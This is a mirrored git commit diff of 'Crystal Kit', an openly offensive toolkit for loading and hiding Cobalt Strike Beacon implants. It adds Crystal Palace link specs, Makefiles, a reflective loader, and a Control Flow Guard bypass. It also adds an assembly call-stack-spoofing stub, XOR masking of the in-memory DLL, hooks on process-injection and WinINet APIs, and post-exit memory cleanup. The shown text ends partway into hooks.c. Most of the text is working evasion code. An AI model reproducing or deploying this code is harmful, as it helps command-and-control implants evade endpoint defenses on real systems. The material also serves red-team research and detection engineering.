mirror of
https://github.com/rasta-mouse/Crystal-Kit
synced 2026-06-06 16:34:35 +00:00
big update
This commit is contained in:
@@ -1,7 +1,9 @@
|
||||
all:
|
||||
cd udrl && make $@
|
||||
cd postex-udrl && make $@
|
||||
cd loader && make $@
|
||||
cd local-loader && make $@
|
||||
cd postex-loader && make $@
|
||||
|
||||
clean:
|
||||
cd udrl && make $@
|
||||
cd postex-udrl && make $@
|
||||
cd loader && make $@
|
||||
cd local-loader && make $@
|
||||
cd postex-loader && make $@
|
||||
|
||||
@@ -1,22 +1,21 @@
|
||||
# Crystal Kit
|
||||
|
||||
This repo is a technical and social experiment to see if replacing Cobalt Strike's evasion primitives (Sleepmask/BeaconGate) with Crystal Palace PIC is feasible (or even desirable) for advanced evasion scenarios. Also see the accompanying [blog post](https://rastamouse.me/crystal-kit/).
|
||||
This repo is a technical and social experiment to explore whether replacing Cobalt Strike's evasion primitives (Sleepmask/BeaconGate) with a [Crystal Palace](https://tradecraftgarden.org/) PICO is feasible (or even desirable) for advanced evasion scenarios.
|
||||
|
||||
## Usage
|
||||
|
||||
1. Disable the Sleepmask and stage obfuscations in Malleable C2.
|
||||
1. Disable the sleepmask and stage obfuscations in Malleable C2.
|
||||
|
||||
```text
|
||||
stage {
|
||||
set rdll_loader "PrependLoader";
|
||||
set sleep_mask "false";
|
||||
set cleanup "true";
|
||||
|
||||
set sleep_mask "false";
|
||||
set cleanup "true";
|
||||
transform-obfuscate { }
|
||||
}
|
||||
|
||||
post-ex {
|
||||
set cleanup "true";
|
||||
set smartinject "true";
|
||||
}
|
||||
```
|
||||
|
||||
@@ -25,4 +24,5 @@ post-ex {
|
||||
|
||||
### Notes
|
||||
|
||||
Tested on CS 4.11.1.
|
||||
- Tested on Cobalt Strike 4.12.
|
||||
- Can work with any post-ex DLL capability.
|
||||
|
||||
+76
-38
@@ -1,39 +1,37 @@
|
||||
debug ( 7 );
|
||||
|
||||
import crystalpalace.spec.* from: crystalpalace.jar;
|
||||
import java.util.HashMap;
|
||||
|
||||
sub print_info {
|
||||
println(formatDate("[HH:mm:ss] ") . "\cE[Crystal Kit]\o " . $1);
|
||||
println ( formatDate ( "[HH:mm:ss] " ) . "\cE[Crystal Kit]\o " . $1 );
|
||||
}
|
||||
|
||||
set BEACON_RDLL_GENERATE {
|
||||
local('$beacon $arch $file_path $spec $final');
|
||||
set BEACON_RDLL_GENERATE
|
||||
{
|
||||
local ( '$beacon $arch $spec_path $spec $final' );
|
||||
|
||||
$beacon = $2;
|
||||
$arch = $3;
|
||||
|
||||
if ($arch eq "x86") {
|
||||
warn("Crystal Kit is x64 only");
|
||||
if ( $arch eq "x86" )
|
||||
{
|
||||
warn ( "Crystal Kit is x64 only" );
|
||||
return $null;
|
||||
}
|
||||
|
||||
# get path to spec file
|
||||
$file_path = getFileProper(script_resource("udrl"), "loader.spec");
|
||||
print_info ( "BEACON_RDLL_GENERATE" );
|
||||
|
||||
# parse the spec
|
||||
print_info("Parsing $+ $file_path $+ ...");
|
||||
$spec = [LinkSpec Parse: $file_path];
|
||||
$spec_path = getFileProper ( script_resource ( "loader" ), "loader.spec" );
|
||||
$spec = [ LinkSpec Parse: $spec_path ];
|
||||
$final = [ $spec run: $beacon, [ new HashMap ] ];
|
||||
|
||||
# apply the spec
|
||||
print_info("Applying spec...");
|
||||
$final = [$spec run: $beacon, [new HashMap]];
|
||||
|
||||
if (strlen($final) == 0) {
|
||||
warn("Failed to build payload");
|
||||
if ( strlen ( $final ) == 0 )
|
||||
{
|
||||
warn ( "Failed to build payload" );
|
||||
return $null;
|
||||
}
|
||||
|
||||
print_info("Payload Size: " . strlen($final) . " bytes");
|
||||
|
||||
return $final;
|
||||
}
|
||||
|
||||
@@ -41,34 +39,74 @@ set BEACON_RDLL_SIZE {
|
||||
return "0";
|
||||
}
|
||||
|
||||
set POSTEX_RDLL_GENERATE {
|
||||
local('$postex $arch $file_path $spec $final');
|
||||
|
||||
$postex = $2;
|
||||
$arch = $3;
|
||||
set BEACON_RDLL_GENERATE_LOCAL
|
||||
{
|
||||
local ( '$beacon $arch $gmh $gpa $spec_path $spec $hash_map $final' );
|
||||
|
||||
if ($arch eq "x86") {
|
||||
warn("Crystal Kit is x64 only");
|
||||
$beacon = $2;
|
||||
$arch = $3;
|
||||
$gmh = $5;
|
||||
$gpa = $6;
|
||||
|
||||
if ( $arch eq "x86" )
|
||||
{
|
||||
warn ( "Crystal Kit is x64 only" );
|
||||
return $null;
|
||||
}
|
||||
|
||||
# get path to spec file
|
||||
$file_path = getFileProper(script_resource("postex-udrl"), "loader.spec");
|
||||
print_info ( "BEACON_RDLL_GENERATE_LOCAL" );
|
||||
|
||||
# parse the spec
|
||||
print_info("Parsing $+ $file_path $+ ...");
|
||||
$spec = [LinkSpec Parse: $file_path];
|
||||
$spec_path = getFileProper ( script_resource ( "local-loader" ), "loader.spec" );
|
||||
$spec = [ LinkSpec Parse: $spec_path ];
|
||||
|
||||
# apply the spec
|
||||
print_info("Applying spec...");
|
||||
$final = [$spec run: $postex, [new HashMap]];
|
||||
$hash_map = [ new HashMap ];
|
||||
|
||||
if (strlen($final) == 0) {
|
||||
warn("Failed to build package");
|
||||
[ $hash_map put: "\$GMH", cast ( $gmh, 'b' ) ];
|
||||
[ $hash_map put: "\$GPA", cast ( $gpa, 'b' ) ];
|
||||
|
||||
$final = [ $spec run: $beacon, $hash_map ];
|
||||
|
||||
if ( strlen ( $final ) == 0 )
|
||||
{
|
||||
warn ( "Failed to build payload" );
|
||||
return $null;
|
||||
}
|
||||
|
||||
return $final;
|
||||
}
|
||||
|
||||
set POSTEX_RDLL_GENERATE
|
||||
{
|
||||
local ( '$postex $arch $gmh $gpa $spec_path $spec $hash_map $final' );
|
||||
|
||||
$postex = $2;
|
||||
$arch = $3;
|
||||
$gmh = $5;
|
||||
$gpa = $6;
|
||||
|
||||
if ( $arch eq "x86" )
|
||||
{
|
||||
warn ( "Crystal Kit is x64 only" );
|
||||
return $null;
|
||||
}
|
||||
|
||||
print_info ( "POSTEX_RDLL_GENERATE" );
|
||||
|
||||
$spec_path = getFileProper ( script_resource ( "postex-loader" ), "loader.spec" );
|
||||
$spec = [ LinkSpec Parse: $spec_path ];
|
||||
|
||||
$hash_map = [ new HashMap ];
|
||||
|
||||
[ $hash_map put: "\$GMH", cast ( $gmh, 'b' ) ];
|
||||
[ $hash_map put: "\$GPA", cast ( $gpa, 'b' ) ];
|
||||
|
||||
$final = [ $spec run: $postex, $hash_map ];
|
||||
|
||||
if ( strlen ( $final ) == 0 )
|
||||
{
|
||||
warn ( "Failed to build package" );
|
||||
return $null;
|
||||
}
|
||||
|
||||
print_info("Final Size: " . strlen($final) . " bytes");
|
||||
|
||||
return $final;
|
||||
}
|
||||
}
|
||||
|
||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,22 @@
|
||||
CC_64=x86_64-w64-mingw32-gcc
|
||||
NASM=nasm
|
||||
|
||||
all: bin/loader.x64.o
|
||||
|
||||
bin:
|
||||
mkdir bin
|
||||
|
||||
bin/loader.x64.o: bin
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/services.c -o bin/services.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/pico.c -o bin/pico.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/hooks.c -o bin/hooks.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/spoof.c -o bin/spoof.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/mask.c -o bin/mask.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/cfg.c -o bin/cfg.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/cleanup.c -o bin/cleanup.x64.o
|
||||
|
||||
$(NASM) src/draugr.asm -o bin/draugr.x64.bin
|
||||
|
||||
clean:
|
||||
rm -f bin/*
|
||||
Binary file not shown.
@@ -0,0 +1,43 @@
|
||||
x64:
|
||||
load "bin/loader.x64.o"
|
||||
make pic +gofirst +optimize
|
||||
|
||||
# merge pic services
|
||||
run "services.spec"
|
||||
|
||||
# merge hooks into the loader
|
||||
load "bin/hooks.x64.o"
|
||||
merge
|
||||
|
||||
# merge call stack spoofing into the loader
|
||||
load "bin/spoof.x64.o"
|
||||
merge
|
||||
|
||||
# load the stack spoofing assembly
|
||||
load "bin/draugr.x64.bin"
|
||||
linkfunc "draugr_stub"
|
||||
|
||||
# hook functions that the loader uses
|
||||
attach "KERNEL32$LoadLibraryA" "_LoadLibraryA"
|
||||
attach "KERNEL32$VirtualAlloc" "_VirtualAlloc"
|
||||
attach "KERNEL32$VirtualProtect" "_VirtualProtect"
|
||||
attach "KERNEL32$VirtualFree" "_VirtualFree"
|
||||
|
||||
preserve "KERNEL32$LoadLibraryA" "init_frame_info"
|
||||
|
||||
# mask & link the dll
|
||||
generate $MASK 128
|
||||
push $DLL
|
||||
xor $MASK
|
||||
preplen
|
||||
link "dll"
|
||||
|
||||
push $MASK
|
||||
preplen
|
||||
link "mask"
|
||||
|
||||
# now get the tradecraft as a PICO
|
||||
run "pico.spec"
|
||||
link "pico"
|
||||
|
||||
export
|
||||
@@ -0,0 +1,69 @@
|
||||
x64:
|
||||
load "bin/pico.x64.o"
|
||||
make object +disco
|
||||
|
||||
# merge the hook functions
|
||||
load "bin/hooks.x64.o"
|
||||
merge
|
||||
|
||||
# merge the call stack spoofing
|
||||
load "bin/spoof.x64.o"
|
||||
merge
|
||||
|
||||
# merge the asm stub
|
||||
load "bin/draugr.x64.bin"
|
||||
linkfunc "draugr_stub"
|
||||
|
||||
# merge mask
|
||||
load "bin/mask.x64.o"
|
||||
merge
|
||||
|
||||
# generate and patch
|
||||
# in a random key
|
||||
generate $KEY 128
|
||||
patch "xorkey" $KEY
|
||||
|
||||
# merge cfg code
|
||||
load "bin/cfg.x64.o"
|
||||
merge
|
||||
|
||||
# merge cleanup
|
||||
load "bin/cleanup.x64.o"
|
||||
merge
|
||||
|
||||
# export setup_hooks and setup_memory
|
||||
exportfunc "setup_hooks" "__tag_setup_hooks"
|
||||
exportfunc "setup_memory" "__tag_setup_memory"
|
||||
|
||||
# hook functions in the DLL
|
||||
addhook "WININET$InternetOpenA" "_InternetOpenA"
|
||||
addhook "WININET$InternetConnectA" "_InternetConnectA"
|
||||
addhook "KERNEL32$CloseHandle" "_CloseHandle"
|
||||
addhook "KERNEL32$CreateFileMappingA" "_CreateFileMappingA"
|
||||
addhook "KERNEL32$CreateProcessA" "_CreateProcessA"
|
||||
addhook "KERNEL32$CreateRemoteThread" "_CreateRemoteThread"
|
||||
addhook "KERNEL32$CreateThread" "_CreateThread"
|
||||
addhook "KERNEL32$DuplicateHandle" "_DuplicateHandle"
|
||||
addhook "KERNEL32$ExitThread" "_ExitThread"
|
||||
addhook "KERNEL32$GetThreadContext" "_GetThreadContext"
|
||||
addhook "KERNEL32$LoadLibraryA" "_LoadLibraryA"
|
||||
addhook "KERNEL32$MapViewOfFile" "_MapViewOfFile"
|
||||
addhook "KERNEL32$OpenProcess" "_OpenProcess"
|
||||
addhook "KERNEL32$OpenThread" "_OpenThread"
|
||||
addhook "KERNEL32$ReadProcessMemory" "_ReadProcessMemory"
|
||||
addhook "KERNEL32$ResumeThread" "_ResumeThread"
|
||||
addhook "KERNEL32$SetThreadContext" "_SetThreadContext"
|
||||
addhook "KERNEL32$Sleep" "_Sleep"
|
||||
addhook "KERNEL32$UnmapViewOfFile" "_UnmapViewOfFile"
|
||||
addhook "KERNEL32$VirtualAlloc" "_VirtualAlloc"
|
||||
addhook "KERNEL32$VirtualAllocEx" "_VirtualAllocEx"
|
||||
addhook "KERNEL32$VirtualFree" "_VirtualFree"
|
||||
addhook "KERNEL32$VirtualProtect" "_VirtualProtect"
|
||||
addhook "KERNEL32$VirtualProtectEx" "_VirtualProtectEx"
|
||||
addhook "KERNEL32$VirtualQuery" "_VirtualQuery"
|
||||
addhook "KERNEL32$WriteProcessMemory" "_WriteProcessMemory"
|
||||
addhook "OLE32$CoCreateInstance" "_CoCreateInstance"
|
||||
|
||||
mergelib "../libtcg.x64.zip"
|
||||
|
||||
export
|
||||
@@ -0,0 +1,8 @@
|
||||
x64:
|
||||
load "bin/services.x64.o"
|
||||
merge
|
||||
|
||||
mergelib "../libtcg.x64.zip"
|
||||
|
||||
dfr "resolve" "ror13" "KERNEL32, NTDLL"
|
||||
dfr "resolve_ext" "strings"
|
||||
@@ -0,0 +1,78 @@
|
||||
#include <windows.h>
|
||||
#include "cfg.h"
|
||||
|
||||
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryInformationProcess ( HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG );
|
||||
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryVirtualMemory ( HANDLE, PVOID, MEMORY_INFORMATION_CLASS, PVOID, SIZE_T, PSIZE_T );
|
||||
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtSetInformationVirtualMemory ( HANDLE, VIRTUAL_MEMORY_INFORMATION_CLASS, SIZE_T, MEMORY_RANGE_ENTRY *, PVOID, ULONG );
|
||||
|
||||
BOOL cfg_enabled ( )
|
||||
{
|
||||
EXTENDED_PROCESS_INFORMATION proc_info = { 0 };
|
||||
|
||||
NTSTATUS status = 0;
|
||||
|
||||
proc_info.ExtendedProcessInfo = ProcessControlFlowGuardPolicy;
|
||||
proc_info.ExtendedProcessInfoBuffer = 0;
|
||||
|
||||
status = NTDLL$NtQueryInformationProcess ( NtCurrentProcess ( ), ProcessCookie | ProcessUserModeIOPL, &proc_info, sizeof ( proc_info ), NULL );
|
||||
|
||||
if ( ! NT_SUCCESS ( status ) ) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return proc_info.ExtendedProcessInfoBuffer;
|
||||
}
|
||||
|
||||
BOOL bypass_cfg ( PVOID address )
|
||||
{
|
||||
MEMORY_BASIC_INFORMATION mbi = { 0 };
|
||||
VM_INFORMATION vmi = { 0 };
|
||||
MEMORY_RANGE_ENTRY mre = { 0 };
|
||||
CFG_CALL_TARGET_INFO cti = { 0 };
|
||||
|
||||
NTSTATUS status = NTDLL$NtQueryVirtualMemory ( NtCurrentProcess ( ), address, MemoryBasicInformation, &mbi, sizeof ( mbi ), 0 );
|
||||
|
||||
if ( ! NT_SUCCESS ( status ) ) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if ( mbi.State != MEM_COMMIT || mbi.Type != MEM_IMAGE ) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
cti.Offset = ( ULONG_PTR ) address - ( ULONG_PTR ) mbi.BaseAddress;
|
||||
cti.Flags = CFG_CALL_TARGET_VALID;
|
||||
|
||||
mre.NumberOfBytes = ( SIZE_T ) mbi.RegionSize;
|
||||
mre.VirtualAddress = ( PVOID ) mbi.BaseAddress;
|
||||
|
||||
ULONG output = 0;
|
||||
|
||||
vmi.dwNumberOfOffsets = 0x1;
|
||||
vmi.plOutput = &output;
|
||||
vmi.ptOffsets = &cti;
|
||||
vmi.pMustBeZero = 0x0;
|
||||
vmi.pMoarZero = 0x0;
|
||||
|
||||
status = NTDLL$NtSetInformationVirtualMemory ( NtCurrentProcess ( ), VmCfgCallTargetInformation, 1, &mre, ( PVOID ) &vmi, ( ULONG ) sizeof ( vmi ) );
|
||||
|
||||
if ( status == 0xC00000F4 )
|
||||
{
|
||||
/* the size parameter is not valid. try 24 instead, which is a known size for older windows versions */
|
||||
status = NTDLL$NtSetInformationVirtualMemory ( NtCurrentProcess ( ), VmCfgCallTargetInformation, 1, &mre, ( PVOID ) &vmi, 24 );
|
||||
}
|
||||
|
||||
if ( ! NT_SUCCESS ( status ) )
|
||||
{
|
||||
/* STATUS_INVALID_PAGE_PROTECTION - CFG wasn't enabled */
|
||||
if ( status == 0xC0000045 )
|
||||
{
|
||||
/* pretend we bypassed it so timers can continue */
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
#define NT_SUCCESS(status) ( ( NTSTATUS ) ( status ) >= 0 )
|
||||
#define NtCurrentProcess() ( ( HANDLE ) ( ULONG_PTR ) -1 )
|
||||
|
||||
typedef struct {
|
||||
ULONG ExtendedProcessInfo;
|
||||
ULONG ExtendedProcessInfoBuffer;
|
||||
} EXTENDED_PROCESS_INFORMATION;
|
||||
|
||||
typedef enum {
|
||||
ProcessUserModeIOPL = 16,
|
||||
ProcessCookie = 36
|
||||
} PROCESSINFOCLASS;
|
||||
|
||||
typedef struct {
|
||||
DWORD dwNumberOfOffsets;
|
||||
PULONG plOutput;
|
||||
PCFG_CALL_TARGET_INFO ptOffsets;
|
||||
PVOID pMustBeZero;
|
||||
PVOID pMoarZero;
|
||||
} VM_INFORMATION;
|
||||
|
||||
typedef enum {
|
||||
VmPrefetchInformation,
|
||||
VmPagePriorityInformation,
|
||||
VmCfgCallTargetInformation
|
||||
} VIRTUAL_MEMORY_INFORMATION_CLASS;
|
||||
|
||||
typedef struct {
|
||||
PVOID VirtualAddress;
|
||||
SIZE_T NumberOfBytes;
|
||||
} MEMORY_RANGE_ENTRY;
|
||||
|
||||
typedef enum {
|
||||
MemoryBasicInformation
|
||||
} MEMORY_INFORMATION_CLASS;
|
||||
|
||||
BOOL cfg_enabled ( );
|
||||
BOOL bypass_cfg ( PVOID address );
|
||||
@@ -0,0 +1,92 @@
|
||||
#include <windows.h>
|
||||
#include "memory.h"
|
||||
#include "cfg.h"
|
||||
#include "spoof.h"
|
||||
#include "tcg.h"
|
||||
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateTimerQueue ( );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateTimerQueueTimer ( PHANDLE, HANDLE, WAITORTIMERCALLBACK, PVOID, DWORD, DWORD, ULONG );
|
||||
DECLSPEC_IMPORT VOID WINAPI KERNEL32$ExitThread ( DWORD );
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap ( );
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc ( HANDLE, DWORD, SIZE_T );
|
||||
DECLSPEC_IMPORT VOID WINAPI KERNEL32$RtlCaptureContext ( PCONTEXT );
|
||||
DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep ( DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD );
|
||||
|
||||
DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue ( CONTEXT *, BOOLEAN );
|
||||
|
||||
#define memcpy(x, y, z) __movsb ( ( unsigned char * ) x, ( unsigned char * ) y, z );
|
||||
|
||||
#define NTDLL_HASH 0x3CFA685D
|
||||
#define VIRTUALFREE_HASH 0x30633AC
|
||||
|
||||
void cleanup_memory ( MEMORY_LAYOUT * memory )
|
||||
{
|
||||
/* is cfg enabled? */
|
||||
BOOL enabled = cfg_enabled ( );
|
||||
|
||||
if ( enabled ) {
|
||||
/* try to bypass it at NtContinue */
|
||||
if ( bypass_cfg ( NTDLL$NtContinue ) ) {
|
||||
enabled = FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* just return if we
|
||||
* failed to bypass it
|
||||
*/
|
||||
|
||||
if ( enabled ) {
|
||||
return;
|
||||
}
|
||||
|
||||
/*
|
||||
* crack on and setup a timer
|
||||
* to free the memory regions
|
||||
*/
|
||||
|
||||
CONTEXT ctx = { 0 };
|
||||
ctx.ContextFlags = CONTEXT_ALL;
|
||||
|
||||
HANDLE timer_queue = KERNEL32$CreateTimerQueue ( ), timer = NULL;
|
||||
|
||||
if ( KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( KERNEL32$RtlCaptureContext ), &ctx, 0, 0, WT_EXECUTEINTIMERTHREAD ) )
|
||||
{
|
||||
/* give RtlCaptureContext a chance to run */
|
||||
KERNEL32$Sleep ( 100 );
|
||||
|
||||
if ( ctx.Rip != 0 )
|
||||
{
|
||||
HANDLE heap = KERNEL32$GetProcessHeap ( );
|
||||
CONTEXT * ctx_free = ( CONTEXT * ) KERNEL32$HeapAlloc ( heap, HEAP_ZERO_MEMORY, sizeof ( CONTEXT ) * 2 );
|
||||
|
||||
for ( int i = 0; i < 2; i++ ) {
|
||||
memcpy ( &ctx_free [ i ], &ctx, sizeof ( CONTEXT ) );
|
||||
}
|
||||
|
||||
/*
|
||||
* we use VirtualFree here because
|
||||
* the loader uses VirtualAlloc
|
||||
*/
|
||||
|
||||
/* the dll */
|
||||
ctx_free[ 0 ].Rsp -= sizeof ( PVOID );
|
||||
ctx_free[ 0 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree );
|
||||
ctx_free[ 0 ].Rcx = ( DWORD64 ) ( memory->Dll.BaseAddress );
|
||||
ctx_free[ 0 ].Rdx = ( DWORD64 ) ( 0 );
|
||||
ctx_free[ 0 ].R8 = ( DWORD64 ) ( MEM_RELEASE );
|
||||
|
||||
/* this pico */
|
||||
ctx_free[ 1 ].Rsp -= sizeof ( PVOID );
|
||||
ctx_free[ 1 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree );
|
||||
ctx_free[ 1 ].Rcx = ( DWORD64 ) ( memory->Pico.BaseAddress );
|
||||
ctx_free[ 1 ].Rdx = ( DWORD64 ) ( 0 );
|
||||
ctx_free[ 1 ].R8 = ( DWORD64 ) ( MEM_RELEASE );
|
||||
|
||||
/* give a decent delay so ExitThread has time to be called */
|
||||
KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 0 ], 500, 0, WT_EXECUTEINTIMERTHREAD );
|
||||
KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 1 ], 500, 0, WT_EXECUTEINTIMERTHREAD );
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
void cleanup_memory ( MEMORY_LAYOUT * memory );
|
||||
@@ -0,0 +1,147 @@
|
||||
[BITS 64]
|
||||
|
||||
draugr_stub:
|
||||
pop rax ; Real return address in rax
|
||||
|
||||
mov r10, rdi ; Store OG rdi in r10
|
||||
mov r11, rsi ; Store OG rsi in r11
|
||||
|
||||
mov rdi, [ rsp + 32 ] ; Storing struct in rdi
|
||||
mov rsi, [ rsp + 40 ] ; Storing function to call
|
||||
|
||||
; ---------------------------------------------------------------------
|
||||
; Storing our original registers
|
||||
; ---------------------------------------------------------------------
|
||||
|
||||
mov [ rdi + 24 ], r10 ; Storing OG rdi into param
|
||||
mov [ rdi + 88 ], r11 ; Storing OG rsi into param
|
||||
mov [ rdi + 96 ], r12 ; Storing OG r12 into param
|
||||
mov [ rdi + 104 ], r13 ; Storing OG r13 into param
|
||||
mov [ rdi + 112 ], r14 ; Storing OG r14 into param
|
||||
mov [ rdi + 120 ], r15 ; Storing OG r15 into param
|
||||
|
||||
mov r12, rax ; OG code used r12 for ret addr
|
||||
|
||||
; ---------------------------------------------------------------------
|
||||
; Prepping to move stack args
|
||||
; ---------------------------------------------------------------------
|
||||
|
||||
xor r11, r11 ; r11 will hold the # of args that have been "pushed"
|
||||
mov r13, [ rsp + 0x30 ] ; r13 will hold the # of args total that will be pushed
|
||||
|
||||
mov r14, 0x200 ; r14 will hold the offset we need to push stuff
|
||||
add r14, 8
|
||||
add r14, [ rdi + 56 ] ; stack size of RUTS
|
||||
add r14, [ rdi + 48 ] ; stack size of BTIT
|
||||
add r14, [ rdi + 32 ] ; stack size of our gadget frame
|
||||
sub r14, 0x20 ; first stack arg is located at +0x28 from rsp, so we sub 0x20 from the offset. Loop will sub 0x8 each time
|
||||
|
||||
mov r10, rsp
|
||||
add r10, 0x30 ; offset of stack arg added to rsp
|
||||
|
||||
looping:
|
||||
xor r15, r15 ; r15 will hold the offset + rsp base
|
||||
cmp r11d, r13d ; comparing # of stack args added vs # of stack args we need to add
|
||||
je finish
|
||||
|
||||
; ---------------------------------------------------------------------
|
||||
; Getting location to move the stack arg to
|
||||
; ---------------------------------------------------------------------
|
||||
|
||||
sub r14, 8 ; 1 arg means r11 is 0, r14 already 0x28 offset.
|
||||
mov r15, rsp ; get current stack base
|
||||
sub r15, r14 ; subtract offset
|
||||
|
||||
; ---------------------------------------------------------------------
|
||||
; Procuring the stack arg
|
||||
; ---------------------------------------------------------------------
|
||||
|
||||
add r10, 8
|
||||
|
||||
push qword [ r10 ]
|
||||
pop qword [ r15 ]
|
||||
|
||||
; ---------------------------------------------------------------------
|
||||
; Increment the counter and loop back in case we need more args
|
||||
; ---------------------------------------------------------------------
|
||||
add r11, 1
|
||||
jmp looping
|
||||
|
||||
finish:
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; Creating a big 320 byte working space
|
||||
; ----------------------------------------------------------------------
|
||||
|
||||
sub rsp, 0x200
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; Pushing a 0 to cut off the return addresses after RtlUserThreadStart.
|
||||
; Need to figure out why this cuts off the call stack
|
||||
; ----------------------------------------------------------------------
|
||||
|
||||
push 0
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; RtlUserThreadStart + 0x14 frame
|
||||
; ----------------------------------------------------------------------
|
||||
|
||||
sub rsp, [ rdi + 56 ]
|
||||
mov r11, [ rdi + 64 ]
|
||||
mov [ rsp ], r11
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; BaseThreadInitThunk + 0x21 frame
|
||||
; ----------------------------------------------------------------------
|
||||
|
||||
sub rsp, [ rdi + 32 ]
|
||||
mov r11, [ rdi + 40 ]
|
||||
mov [ rsp ], r11
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; Gadget frame
|
||||
; ----------------------------------------------------------------------
|
||||
|
||||
sub rsp, [ rdi + 48 ]
|
||||
mov r11, [ rdi + 80 ]
|
||||
mov [ rsp ], r11
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; Adjusting the param struct for the fixup
|
||||
; ----------------------------------------------------------------------
|
||||
|
||||
mov r11, rsi ; Copying function to call into r11
|
||||
|
||||
mov [ rdi + 8 ], r12 ; Real return address is now moved into the "OG_retaddr" member
|
||||
mov [ rdi + 16 ], rbx ; original rbx is stored into "rbx" member
|
||||
lea rbx, [ rel fixup ] ; Fixup address is moved into rbx
|
||||
mov [ rdi ], rbx ; Fixup member now holds the address of Fixup
|
||||
mov rbx, rdi ; Address of param struct (Fixup) is moved into rbx
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; Syscall stuff. Shouldn't affect performance even if a syscall isnt made
|
||||
; ----------------------------------------------------------------------
|
||||
mov r10, rcx
|
||||
mov rax, [ rdi + 72 ]
|
||||
|
||||
jmp r11
|
||||
|
||||
fixup:
|
||||
mov rcx, rbx
|
||||
add rsp, 0x200 ; Big frame thing
|
||||
add rsp, [ rbx + 48 ] ; Stack size
|
||||
add rsp, [ rbx + 32 ] ; Stack size
|
||||
add rsp, [ rbx + 56 ] ; Stack size
|
||||
|
||||
mov rbx, [ rcx + 16 ] ; Restoring OG RBX
|
||||
mov rdi, [ rcx + 24 ] ; ReStoring OG rdi
|
||||
mov rsi, [ rcx + 88 ] ; ReStoring OG rsi
|
||||
mov r12, [ rcx + 96 ] ; ReStoring OG r12
|
||||
mov r13, [ rcx + 104 ] ; ReStoring OG r13
|
||||
mov r14, [ rcx + 112 ] ; ReStoring OG r14
|
||||
mov r15, [ rcx + 120 ] ; ReStoring OG r15
|
||||
push rax
|
||||
|
||||
xor rax, rax
|
||||
pop rax
|
||||
jmp QWORD [ rcx + 8 ]
|
||||
@@ -0,0 +1,420 @@
|
||||
#include <windows.h>
|
||||
#include <wininet.h>
|
||||
#include <combaseapi.h>
|
||||
#include "tcg.h"
|
||||
#include "memory.h"
|
||||
#include "spoof.h"
|
||||
|
||||
DECLSPEC_IMPORT HINTERNET WINAPI WININET$InternetConnectA ( HINTERNET, LPCSTR, INTERNET_PORT, LPCSTR, LPCSTR, DWORD, DWORD, DWORD_PTR );
|
||||
DECLSPEC_IMPORT HINTERNET WINAPI WININET$InternetOpenA ( LPCSTR, DWORD, LPCSTR, LPCSTR, DWORD );
|
||||
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle ( HANDLE );
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileMappingA ( HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCSTR );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateProcessA ( LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION );
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateRemoteThread ( HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD );
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateThread ( LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD );
|
||||
